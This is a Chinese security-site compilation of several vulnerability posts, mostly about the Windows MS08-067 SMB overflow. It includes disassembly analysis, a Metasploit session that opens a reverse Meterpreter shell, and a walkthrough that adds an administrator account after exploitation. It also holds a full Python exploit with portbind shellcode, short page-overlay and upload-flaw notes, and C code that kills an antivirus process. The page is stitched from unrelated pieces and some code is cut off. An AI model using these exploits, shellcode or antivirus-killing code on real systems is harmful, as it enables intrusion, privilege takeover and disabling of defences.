以下是小编整理的关于MS08067的一点细节漏洞预警(共含8篇),欢迎阅读分享。同时,但愿您也能像本文投稿人“shanewong”一样,积极向本站投稿分享好文章。
作者:刺
这个漏洞就不介绍了,已经沸沸扬扬了,
首先milw0rm上那个exp的编译问题,作者在里面放的些小trick很容易fix,主要麻烦的是midl编译idl文件后,在VC6环境下编译可能出现rcpt库的错误。可能是SDK的版本导致的,云舒用最新的SDK(好像是?)编译成功了。
其次是触发问题,什么权限都不需要,空连接后就能触发。
ncacn_np:\\\\192.168.152.101[\\pipe\\srvsvc] 直接请求就可以了。
问题还是出在 NetpwPathCanonicalize 的第二个参数,这个漏洞非常奇特。
首先这个参数的长度不能超过 0x207(unicode)
71BB58F6 81FF 0700 CMP EDI,207
71BB58FC ^ 0F87 F447FFFF JA NETAPI32.71BAA0F6 // 如果大于了就直接函数返回了
71BB5902 ^ E9 1247FFFF JMP NETAPI32.71BAA019
然后会走到一个wcscat的地方,这里没有问题,因为空间是足够的
71BAA019 8D85 E8FBFFFF LEA EAX,DWORD PTR SS:[EBP-418]
71BAA01F 53 PUSH EBX
71BAA020 50 PUSH EAX
71BAA021 FF15 9810BA71 CALL DWORD PTR DS:[<&msvcrt.wcscat>] ; msvcrt.wcscat
继续往下会把所有的 “/” 替换为 “\” 这里也无关紧要
然后就走到出问题的函数
71BAA05A 8D85 E8FBFFFF LEA EAX,DWORD PTR SS:[EBP-418]
71BAA060 50 PUSH EAX
71BAA061 E8 AB020000CALL NETAPI32.71BAA311
跟进去后很复杂,可以参考下这里的伪代码
www.phreedom.org/blog/2008/decompiling-ms08-067/
估计很多人在这里绕晕了,我跟了一晚上,总算搞明白了一点。
首先是为什么老是会上溢的问题,这个就是这个漏洞的原因所在了。cocoruder在blog上引用了这么一段话:
There are two copies, the first copy is OK, but when there is another “..\”, it will lead to start the another copy (repeat the first copy codes), the second copy firstly does not calculate the base pointer correctly (firstly it is basePointer-2, so the 'JZ' checking in the loop of searching character '\' will never come ture), that lead to get an unexpected stack pointer which is below the base pointer, after the wrong calculation, it starts the second copy and uses the unexpected pointer as the first parameter of function “wcscpy()”, therefore, the wrong-calculation memory will be rewritten. The EIP will be controlled in the main function, probably.
实际上就是在找目录的时候,
\x\..\yyyyyyyyyyyyy
会拷贝为 \yyyyyyyyyyyy 中间的 \x\.. 就没有了。
然后程序会往栈的上面去找 “\” 的存在,但是往往栈低址里没有 “\”的存在,所以就找完了整个栈,上溢了。
很多同学估计都卡在这个地方了。
bp 0x71baa398 first copy 第一次拷贝,这里没问题
71BCDC12 8D46 04 LEA EAX,DWORD PTR DS:[ESI+4]
71BCDC15 8BCE MOV ECX,ESI
71BCDC17 50 PUSH EAX
71BCDC18 51 PUSH ECX
71BCDC19 FF15 2C10BA71 CALL DWORD PTR DS:[<&msvcrt.wcscpy>] ; msvcrt.wcscpy
此时 si = 0x2e 然后前后判断是否是 \..\
71BAA363 8D46 FE LEA EAX,DWORD PTR DS:[ESI-2]
71BAA366 3BD8 CMP EBX,EAX
71BAA368 0F85 50380200 JNZ NETAPI32.71BCDBBE
71BAA36E 8D46 02 LEA EAX,DWORD PTR DS:[ESI+2]
71BAA371 66:8B10 MOV DX,WORD PTR DS:[EAX]
71BAA374 66:83FA 2E CMP DX,2E
71BAA378 0F85 8A380200 JNZ NETAPI32.71BCDC08
71BAA37E 8D46 04 LEA EAX,DWORD PTR DS:[ESI+4]
71BAA381 66:8B18 MOV BX,WORD PTR DS:[EAX]
71BAA384 66:83FB 5C CMP BX,5C
second copy 第二个拷贝,把中间的 \x\.. 弄没了
71BAA388 /0F85 3D380200 JNZ NETAPI32.71BCDBCB
71BAA38E |85FF TEST EDI,EDI
71BAA390 |0F84 0B630000 JE NETAPI32.71BB06A1
71BAA396 |50 PUSH EAX
71BAA397 |57 PUSH EDI
71BAA398 |FF15 2C10BA71 CALL DWORD PTR DS:[<&msvcrt.wcscpy>] ; msvcrt.wcscpy
漏洞代码就是下面这个:
71BCDBDE 8D47 FELEA EAX,DWORD PTR DS:[EDI-2]
71BCDBE1 66:8338 5CCMP WORD PTR DS:[EAX],5C
71BCDBE5 /75 18 JNZ SHORT NETAPI32.71BCDBFF
71BCDBE7 |66:8B38 MOV DI,WORD PTR DS:[EAX]
71BCDBEA |8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8]
71BCDBED |66:83EF 5C SUB DI,5C
71BCDBF1 |66:F7DF NEG DI
71BCDBF4 |1BFF SBB EDI,EDI
71BCDBF6 |F7D7 NOT EDI
71BCDBF8 |23F8 AND EDI,EAX
71BCDBFA ^|E9 55C7FDFF JMP NETAPI32.71BAA354
71BCDBFF \3B45 08 CMP EAX,DWORD PTR SS:[EBP+8]
71BCDC02 ^ 74 E3 JE SHORT NETAPI32.71BCDBE7
71BCDC04 48DEC EAX
71BCDC05 48DEC EAX
71BCDC06 ^ EB D9 JMP SHORT NETAPI32.71BCDBE1
试图往栈低址去寻找“\”,结果错误计算了开始的地址,导致根本找不到,
按照cocoruder的说法,在计算错误后,有机会第二次执行第二个 wcscpy ,从而覆盖那个错误计算出的地址。
不过我没找到能再次执行拷贝的方法,我的整个栈低址几乎就是一片0,每次都上溢了.
有的机器里也许能够找到那个“”吧,或者存在一种能够稳定利用的方法。
使用 \\pipe\browser 好像也有机会控制EIP,可以继续搞搞。
瞎扯到这里,不说了,大家再一起继续郁闷吧。
这个漏洞已经暴露了很久了,这里我就不说原理了我也不会,所以直接用metasploit操作一下,大牛请绕过
root@bt:~# genlist -s 10.10.10.*
10.10.10.1
10.10.10.2
10.10.10.128
10.10.10.130
10.10.10.254
root@bt:~# nmap -sS -Pn 10.10.10.128
Starting Nmap 6.01 ( nmap.org ) at -04-23 01:49 EDT
Nmap scan report for attacker.dvssc.com (10.10.10.128)
Host is up (0.0000060s latency).
All 1000 scanned ports on attacker.dvssc.com (10.10.10.128) are closed
Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds
root@bt:~# nmap -sS -Pn 10.10.10.130
Starting Nmap 6.01 ( nmap.org ) at 2014-04-23 01:50 EDT
Nmap scan report for service.dvssc.com (10.10.10.130)
Host is up (0.011s latency).
Not shown: 985 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
777/tcp open multiling-http
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1030/tcp open iad1
1521/tcp open oracle
6002/tcp open X11:2
7001/tcp open afs3-callback
7002/tcp open afs3-prserver
8099/tcp open unknown
MAC Address: 00:0C:29:D3:08:A0 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
root@bt:~#
root@bt:~# nmap --script=smb-check-vulns 10.10.10.130
Starting Nmap 6.01 ( nmap.org ) at 2014-04-23 01:50 EDT
Nmap scan report for service.dvssc.com (10.10.10.130)
Host is up (0.00032s latency).
Not shown: 985 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
777/tcp open multiling-http
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1030/tcp open iad1
1521/tcp open oracle
6002/tcp open X11:2
7001/tcp open afs3-callback
7002/tcp open afs3-prserver
8099/tcp open unknown
MAC Address: 00:0C:29:D3:08:A0 (VMware)
Host script. results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)
| SMBv2 DoS (CVE--3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)
| MS06-025: CHECK DISABLED (remove 'safe=1' argument to run)
|_ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run)
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
root@bt:~# msfconsole
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running
wake up, Neo...
the matrix has you
follow the white rabbit.
knock, knock, Neo.
(`. ,-,
` `. ,;' /
`. ,'/ .'
`. X /.'
.-;--''--.._` ` (
.' / `
, ` ' Q '
, , `._ \
,.| ' `-.;_'
: . ` ; ` ` --,.._;
' ` , ) .'
`._ , ' /_
; ,''-,;' ``-
``-..__``--`
=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ -- --=[ 927 exploits - 499 auxiliary - 151 post
+ -- --=[ 251 payloads - 28 encoders - 8 nopsmsf >search ms08_067
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption
msf >use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) >set RHOST 10.10.10.130
RHOST =>10.10.10.130
msf exploit(ms08_067_netapi) >set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD =>windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) >show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.10.10.130 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
msf exploit(ms08_067_netapi) >set LHOST 10.10.10.128
LHOST =>10.10.10.128
msf exploit(ms08_067_netapi) >exploit
[*] Started reverse handler on 10.10.10.128:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows - No Service Pack - lang:Unknown
[*] Selected Target: Windows 2003 SP0 Universal
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 10.10.10.130
[*] Meterpreter session 1 opened (10.10.10.128:4444 ->10.10.10.130:3722) at 2014-04-23 01:53:59 -0400
通常在溢出成功后目标主机的监听端口为4444,其对应的PID为840(随机),毫无疑问它应该和某个系统服务相对应,输入tasklist /svc后发现其对于的进程是svchost.exe。该进程在系统中有多个,但PID为840的这个svchost.exe进程是一个宿主进程,其中包含了诸如lanmanserver, lanmanworkstation, Netman等多个系统服务。
那到底是哪个系统服务触发了该漏洞呢?测试,当Computer Browser、Server、Workstation这三个系统服务中的任何一个服务被关闭后,用MS08067.exe进行溢出测试均失败
通过上面的测试,可见是这三个系统服务造成了MS08-067漏洞,这和微软的漏洞说明“Server服务在处理RPC请求过程中存在的一个严重漏洞”不谋而合,
那么这三个服务都是干什么的,相互之间有什么关系呢?server是Windows系统的一个重要服务,其主要作用是“支持此计算机通过网络的文件、打印、和命名”。而
Computer Browser服务的作用是“维护网络上计算机的更新列表,并将列表提供该计算机指定浏览”与server是依存关系。另外,Workstation服务的作用是“创建和维护到远程服务的客户端网络连接”,与Computer Browser是依存关系。上面的分析为我们预防MS08-067漏洞提供了一条思路。
漏洞预防
(1)、最彻底的措施是,通过第三方工具下载KB958644补丁包打上该漏洞补丁。
(2)、如果用户对微软的补丁存有戒心可以采取变通的措施,将Computer Browser、Server、Workstation这三个系统服务关闭,毕竟这三个服务在大多数情况下是用不到的。
文章作者:aullik5
原始出处:hi.baidu.com/aullik5/blog ... a02c6785352416.html
今天要讲的这个漏洞是一个非常猥琐的漏洞,
XSIO漏洞漏洞预警
。
大部分网站都有这个漏洞,不光是百度。
什么是XSIO,为什么说它猥琐呢?
XSIO是因为没有限制图片的position属性为absolute,导致可以控制一张图片出现在网页的任意位置。
那么我们就可以用这张图片去覆盖网页上的任意一个位置,包括网站的banner,包括一个link、一个button。
这就可以导致页面破坏。而给图片设置一个链接后,很显然就可以起到一个钓鱼的作用。
XSIO漏洞:
由于对正常的HTML 标签 是没有做过滤的,所以我们可以用这些标签来实施XSIO攻击,
在百度,发blog是在一个table里,所以我们要先把table闭合掉,然后再插入合适的图片。
如以下代码:
复制内容到剪贴板
百度.jpg(40.08 KB)
-10-21 20:50
如图:匿名用户的头像被我覆盖到了banner处.
在实施具体攻击时,可以用图片覆盖link或者banner,当别人点击原本是link或button时,将跳到我们的恶意网站去。
所以说,这是一个非常猥琐的漏洞!
欲知后事如何,且听下回分解!
PS: 本次活动仅仅是个人行为,与任何组织或集体无关.
从明天开始,将进入我们的XSS之旅。
作者:hackdn
注明
JSP+MSSQL的系统,国外应用广,出在注册上传上,过滤不严,修改下面POST,上传JSP
要上载的照片:
DeepSoft.com.sys.Servlet上传漏洞漏洞预警
,
文件大小没有限制,只是“*.ai,*.psd”文件可能上传后无法显示而已。“>
最近,微软爆出一个安全级别为严重高危漏洞MS08-067,据微软官方解释这是Windows操作系统下的Server服务在处理RPC请求过程中存在的一个严重漏洞,远程攻击者可以通过发送恶意RPC请求触发这个溢出,导致完全入侵用户系统,并以SYSTEM权限执行任意指令并获取数据,造成系统失窃及系统崩溃等严重问题。
并且MS08-067漏洞的影响覆盖面很广,会影响除Windows Server Core以外所有Windows系统,包括Windows /XP/Server /Vista/Server 2008的各个版本,对于此漏洞微软的反应是比较迅速的。但是,由于受微软黑屏事件的影响,不少用户对微软的补丁更新存有戒心。有不少用户关闭了Windows的自动更新功能,当然更不会手动去打该补丁。其实用户没必要因噎废食,此补丁非造成盗版用户黑屏的KB892130,其安全补丁编号是KB958644。大家如果对自动更新不放心可以通过第三方工具,下载补丁包打上该补丁,因为该漏洞确实危害非常大。
可以说, 的反应速度是非常快的,笔者今天在国外某安全站点看到了该漏洞的利用代码(Exploits),然后进行编译对该漏洞进行了一次测试。为了让大家对Ms08-067漏洞的危害及其严重程度有个感性的认识,下面笔者将这次测试的详细过程重现一遍。
1、测试环境
攻击主机:Windows XP SP2(OS) 192.168.1.6(IP)
目标主机:Windows Server 2003(OS) 192.168.1.9(IP)
2、漏洞测试
打开攻击主机的命令行工具(cmd.exe),进入漏洞利用工具(MS08067.exe)的目录。其命令格式非常简单MS08067.exe ,只需将替换为目标主机的IP地址即可。测试环境中的目标主机Windows Server 2003(OS) 192.168.1.9(IP)没有打补丁KB958644。我们输入命令MS08067.exe 192.168.1.9,回车后显示SMB Connect OK!Maybe Patched!,表明溢出成功。
我们打开目标主机的命令行工具,输入命令netstat -ano可以看到有一个端口号为4444的端口处于监听状态。
然后我们在攻击主机的命令行下输入命令telnet 192.168.1.9 4444进行连接,可以看到连接成功。这样我们就获得了目标主机的一个shell,并且是system权限,
输入命令,比如net user gslw test /add net localgroup administrators gslw /add,添加一个用户名为gslw的用户,可以看到创建成功。
这样目标主机就被完全控制了,试想如果其是服务器的话(Winsows Server 2003是非常普遍的服务器系统),那危害该有多大!
3、扩展测试
笔者在测试中发现,在溢出成功后目标主机的监听端口为4444,其对应的PID为840(随机)。毫无疑问它应该和某个系统服务相对应,输入tasklist /svc后发现其对于的进程是svchost.exe。该进程在系统中有多个,但PID为840的这个svchost.exe进程是一个宿主进程,其中包含了诸如lanmanserver, lanmanworkstation, Netman等多个系统服务。
那到底是哪个系统服务触发了该漏洞呢?通过笔者测试,当Computer Browser、Server、Workstation这三个系统服务中的任何一个服务被关闭后,用MS08067.exe进行溢出测试均失败。
通过上面的测试,可见是这三个系统服务造成了MS08-067漏洞,这和微软的漏洞说明Server服务在处理RPC请求过程中存在的一个严重漏洞不谋而合。那么这三个服务都是干什么的,相互之间有什么关系呢?server是Windows系统的一个重要服务,其主要作用是支持此计算机通过网络的文件、打印、和命名。而
Computer Browser服务的作用是维护网络上计算机的更新列表,并将列表提供该计算机指定浏览与server是依存关系。另外,Workstation服务的作用是创建和维护到远程服务的客户端网络连接,与Computer Browser是依存关系。上面的分析为我们预防MS08-067漏洞提供了一条思路。
4、漏洞预防
(1)、最彻底的措施是,通过第三方工具下载KB958644补丁包打上该漏洞补丁。
(2)、如果用户对微软的补丁存有戒心可以采取变通的措施,将Computer Browser、Server、Workstation这三个系统服务关闭,毕竟这三个服务在大多数情况下是用不到的。
总结:微软的黑屏事件让不少用户成了惊弓之鸟,对微软失去了信任,宁可系统漏洞百出也不去打补丁。这是相当危险的,黑屏事件后的安全真空和隐患值得我们深思。其实,说到底黑屏只不过是被微软摸黑了桌面,至多让人反感也无关痛痒。但是,被攻击者利用漏洞进行攻击那就不仅仅是反感了。希望,通过本文大家能够认识的漏洞的危害,尽快补上漏洞。
#!/usr/bin/env python
###########################################################
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
###########################################################
import struct
import sys
from threading import Thread #Thread is imported incase you would like to modify
#the src to run against multiple targets.
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc import dcerpc
from impacket.dcerpc import transport
except ImportError, _:
print 'Install the following library to make this script work'
print 'Impacket : oss.coresecurity.com/projects/impacket.html'
print 'PyCrypto : www.amk.ca/python/code/crypto.html'
sys.exit(1)
print '#######################################################################'
print '# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'
print '# www.hackingspirits.com'
print '# www.coffeeandsecurity.com'
print '# Email: d3basis.m0hanty @ gmail.com'
print '#######################################################################\n'
#Portbind shellcode from metasploit; Binds port to TCP port 4444
shellcode = ”\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90“
shellcode += ”\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9“
shellcode += ”\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56“
shellcode += ”\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22“
shellcode += ”\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30“
shellcode += ”\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81“
shellcode += ”\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42“
shellcode += ”\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22“
shellcode += ”\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9“
shellcode += ”\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79“
shellcode += ”\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab“
shellcode += ”\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa“
shellcode += ”\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48“
shellcode += ”\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1“
shellcode += ”\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0“
shellcode += ”\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe“
shellcode += ”\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9“
shellcode += ”\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84“
shellcode += ”\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56“
shellcode += ”\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8“
shellcode += ”\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79“
shellcode += ”\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6“
shellcode += ”\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
#Payload for Windows 2000 target
payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
payload_1+='\x41\x41'
payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
payload_1+='\xeb\xcc'
payload_1+='\x00\x00'
#Payload for Windows 2003[SP2] target
payload_2='\x41\x00\x5c\x00'
payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'
payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'
payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'
payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'
payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'
payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'
payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'
payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'
payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'
if sys.argv[2]=='1': #Windows 2000 Payload
payload=payload_1
print '[-]Windows 2000 payload loaded'
if sys.argv[2]=='2': #Windows 2003[SP2] Payload
payload=payload_2
print '[-]Windows 2003[SP2] payload loaded'
class SRVSVC_Exploit(Thread):
def __init__(self, target, osver, port=445):
super(SRVSVC_Exploit, self).__init__
self.__port = port
self.target = target
self.osver = osver
def __DCEPacket(self):
print '[-]Initiating connection'
self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
self.__trans.connect()
print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
self.__dce = self.__trans.DCERPC_class(self.__trans)
self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
# Constructing Malicious Packet
self.__stub='\x01\x00\x00\x00'
self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
self.__stub+=shellcode
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
self.__stub+=payload
self.__stub+='\x00\x00\x00\x00'
self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
self.__stub+='\x01\x00\x00\x00'
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub) #0x1f (or 31)- NetPathCanonicalize Operation
print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'
if __name__ == '__main__':
try:
target = sys.argv[1]
osver = sys.argv[2]
except IndexError:
print '\nUsage: %s
print 'Example: srvsvcexpl.py 192.168.1.1 2\n'
print 'Select OS Version'
print '[-]Windows 2000: OS Version = 1'
print '[-]Windows 2003[SP2]: OS Version = 2'
sys.exit(-1)
current = SRVSVC_Exploit(target, osver)
current.start()
#print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'
# milw0rm.com [2008-11-16]
编写成程序后双击运行直接K掉瑞星(重起也没用)
以下是漏洞利用代码
------------------------------------------------------------------------------
DWORD GetProcessIdFromName(LPCTSTR name)
{
PROCESSENTRY32 pe;
DWORD id = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize = sizeof(PROCESSENTRY32);
if( !Process32First(hSnapshot,&pe) )
return 0;
do
{
pe.dwSize = sizeof(PROCESSENTRY32);
if( Process32Next(hSnapshot,&pe)==FALSE )
break;
if(strcmp(pe.szExeFile,name) == 0)
{
id = pe.th32ProcessID;
break;
}
} while(1);
CloseHandle(hSnapshot);
return id;
}
DWORD GetProcessID(char *FileName)
{
HANDLE myhProcess;
PROCESSENTRY32 mype;
BOOL mybRet;
//进行进程快照
myhProcess=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //TH32CS_SNAPPROCESS快照所有进程
//开始进程查找
mybRet=Process32First(myhProcess,&mype);
//循环比较,得出ProcessID
while(mybRet)
{
if(strcmp(FileName,mype.szExeFile)==0)
return mype.th32ProcessID;
else
mybRet=Process32Next(myhProcess,&mype);
}
return 0;
}
void killProcess(CString www ,LPCTSTR name,char *xyz)
{
DWORD nPid = 0;
HANDLE hProcess;
DWORD nExitCode = 0;
DWORD nAddress = 0x1000;
nPid=GetProcessIdFromName(name);
hProcess = OpenProcess (PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION, 0,nPid);
WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);
while ( nAddress <= 0x7FFFF000 )
{
GetExitCodeProcess(hProcess, &nExitCode);
if (nExitCode != STILL_ACTIVE)
{
break;
}
WriteProcessMemory(hProcess,(LPVOID)0x0047EB17,&nPid,1,NULL);
VirtualFreeEx(hProcess, (LPVOID)nAddress, 0, 0x8000);
nAddress += 0x1000;
}
★ dedecms 5.7 edit.inc.php文件注射漏洞预警
★ shopxp pinglun.asp文件SQL注入漏洞分析漏洞预警
★ 火狐远程代码执行漏洞 Firefox 3.6.16漏洞预警
★ eWebeditoR3.8 for php任意文件上传EXP漏洞预警